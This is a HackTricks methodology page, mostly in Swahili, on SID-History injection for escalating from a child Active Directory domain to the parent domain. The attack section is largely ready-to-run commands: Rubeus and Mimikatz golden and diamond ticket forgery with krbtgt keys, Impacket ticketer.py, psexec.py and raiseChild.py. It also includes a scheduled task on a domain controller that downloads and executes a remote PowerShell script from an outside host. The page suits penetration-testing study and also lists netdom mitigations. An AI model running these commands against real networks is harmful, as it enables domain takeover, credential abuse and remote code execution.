hacktricks/src/windows-hardening/active-directory-methodology/sid-history-injection.md

# SID-History Injection

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## SID History Injection Attack

Lengo la **SID History Injection Attack** ni kusaidia **uhamaji wa watumiaji kati ya maeneo** huku ikihakikisha upatikanaji wa rasilimali kutoka eneo la zamani. Hii inafanywa kwa **kujumuisha Kitambulisho cha Usalama (SID) cha mtumiaji wa zamani katika SID History** ya akaunti yao mpya. Kwa kuzingatia, mchakato huu unaweza kudhibitiwa ili kutoa upatikanaji usioidhinishwa kwa kuongeza SID ya kundi lenye mamlaka makubwa (kama vile Enterprise Admins au Domain Admins) kutoka eneo la mzazi kwenye SID History. Ukatili huu unatoa upatikanaji wa rasilimali zote ndani ya eneo la mzazi.

Njia mbili zipo za kutekeleza shambulio hili: kupitia uundaji wa **Golden Ticket** au **Diamond Ticket**.

Ili kubaini SID ya kundi la **"Enterprise Admins"**, mtu lazima kwanza apate SID ya eneo la mzizi. Baada ya kutambua, SID ya kundi la Enterprise Admins inaweza kujengwa kwa kuongeza `-519` kwenye SID ya eneo la mzizi. Kwa mfano, ikiwa SID ya eneo la mzizi ni `S-1-5-21-280534878-1496970234-700767426`, SID inayotokana na kundi la "Enterprise Admins" itakuwa `S-1-5-21-280534878-1496970234-700767426-519`.

Unaweza pia kutumia vikundi vya **Domain Admins**, ambavyo vinamalizika kwa **512**.

Njia nyingine ya kupata SID ya kundi la eneo lingine (kwa mfano "Domain Admins") ni kwa:
```bash
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
```
> [!WARNING]
> Kumbuka kwamba inawezekana kuzima historia ya SID katika uhusiano wa kuaminiana ambayo itafanya shambulio hili kushindwa.

Kulingana na [**docs**](https://technet.microsoft.com/library/cc835085.aspx):
- **Kuzima SIDHistory kwenye uhusiano wa msitu** kwa kutumia zana ya netdom (`netdom trust /domain: /EnableSIDHistory:no on the domain controller`)
- **Kuweka Kizuizi cha SID kwa uhusiano wa nje** kwa kutumia zana ya netdom (`netdom trust /domain: /quarantine:yes on the domain controller`)
- **Kuweka Kichujio cha SID kwa uhusiano wa kikoa ndani ya msitu mmoja** hakupendekezwi kwani ni usanidi usio na msaada na unaweza kusababisha mabadiliko mabaya. Ikiwa kikoa ndani ya msitu si cha kuaminika basi hakipaswi kuwa mwanachama wa msitu. Katika hali hii ni muhimu kwanza kugawanya kikoa kinachoweza kuaminika na kisichoweza kuaminika katika misitu tofauti ambapo Kichujio cha SID kinaweza kutumika kwa uhusiano wa interforest.

Angalia chapisho hili kwa maelezo zaidi kuhusu kupita hili: [**https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4**](https://itm8.com/articles/sid-filter-as-security-boundary-between-domains-part-4)

### Tiketi ya Diamond (Rubeus + KRBTGT-AES256)

Mara ya mwisho nilipojaribu hili nilihitaji kuongeza arg **`/ldap`**.
```bash
# Use the /sids param
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /sids:S-1-5-21-378720957-2217973887-3501892633-512 /krbkey:390b2fdb13cc820d73ecf2dadddd4c9d76425d4c2156b89ac551efb9d591a8aa /nowrap /ldap

# Or a ptt with a golden ticket
## The /ldap command will get the details from the LDAP (so you don't need to put the SID)
## The /printcmd option will print the complete command if later you want to generate a token offline
Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_sid>  /sids:<parent_domain_sid>-519 /user:Administrator /ptt /ldap /nowrap /printcmd

#e.g.

execute-assembly ../SharpCollection/Rubeus.exe golden /user:Administrator /domain:current.domain.local /sid:S-1-21-19375142345-528315377-138571287 /rc4:12861032628c1c32c012836520fc7123 /sids:S-1-5-21-2318540928-39816350-2043127614-519 /ptt /ldap /nowrap /printcmd

# You can use "Administrator" as username or any other string
```
### Golden Ticket (Mimikatz) na KRBTGT-AES256
```bash
mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid:<current_domain_sid> /sids:<victim_domain_sid_of_group> /aes256:<krbtgt_aes256> /startoffset:-10 /endin:600 /renewmax:10080 /ticket:ticket.kirbi" "exit"

/user is the username to impersonate (could be anything)
/domain is the current domain.
/sid is the current domain SID.
/sids is the SID of the target group to add ourselves to.
/aes256 is the AES256 key of the current domain's krbtgt account.
--> You could also use /krbtgt:<HTML of krbtgt> instead of the "/aes256" option
/startoffset sets the start time of the ticket to 10 mins before the current time.
/endin sets the expiry date for the ticket to 60 mins.
/renewmax sets how long the ticket can be valid for if renewed.

# The previous command will generate a file called ticket.kirbi
# Just loading you can perform a dcsync attack agains the domain
```
Kwa maelezo zaidi kuhusu tiketi za dhahabu angalia:

{{#ref}}
golden-ticket.md
{{#endref}}


Kwa maelezo zaidi kuhusu tiketi za almasi angalia:

{{#ref}}
diamond-ticket.md
{{#endref}}
```bash
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
ls \\mcorp-dc.moneycorp.local\c$
```
Pandisha hadi DA wa root au admin wa Enterprise kwa kutumia hash ya KRBTGT ya eneo lililoathirika:
```bash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'

gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local

schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"

schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
```
Kwa ruhusa zilizopatikana kutoka kwa shambulio unaweza kutekeleza kwa mfano shambulio la DCSync katika eneo jipya:

{{#ref}}
dcsync.md
{{#endref}}

### Kutoka linux

#### Kichwa kwa [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
```bash
# This is for an attack from child to root domain
# Get child domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep "Domain SID"
# Get root domain SID
lookupsid.py <child_domain>/username@10.10.10.10 | grep -B20 "Enterprise Admins" | grep "Domain SID"

# Generate golden ticket
ticketer.py -nthash <krbtgt_hash> -domain <child_domain> -domain-sid <child_domain_sid> -extra-sid <root_domain_sid> Administrator

# NOTE THAT THE USERNAME ADMINISTRATOR COULD BE ACTUALLY ANYTHING
# JUST USE THE SAME USERNAME IN THE NEXT STEPS

# Load ticket
export KRB5CCNAME=hacker.ccache

# psexec in domain controller of root
psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.10.10.10
```
#### Automatic using [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)

Hii ni skripti ya Impacket ambayo itafanya **kuongeza hadhi kutoka kwa domain ya mtoto hadi domain ya mzazi**. Skripti inahitaji:

- Kituo cha kudhibiti domain ya lengo
- Akawasilisha kwa mtumiaji wa admin katika domain ya mtoto

Mchakato ni:

- Inapata SID ya kundi la Enterprise Admins la domain ya mzazi
- Inapata hash ya akaunti ya KRBTGT katika domain ya mtoto
- Inaunda Tiketi ya Dhahabu
- Inajiandikisha katika domain ya mzazi
- Inapata akawasilisha kwa akaunti ya Msimamizi katika domain ya mzazi
- Ikiwa swichi ya `target-exec` imeainishwa, inathibitisha kwa Kituo cha Kudhibiti Domain cha domain ya mzazi kupitia Psexec.
```bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
```
## Marejeo

- [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
- [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)

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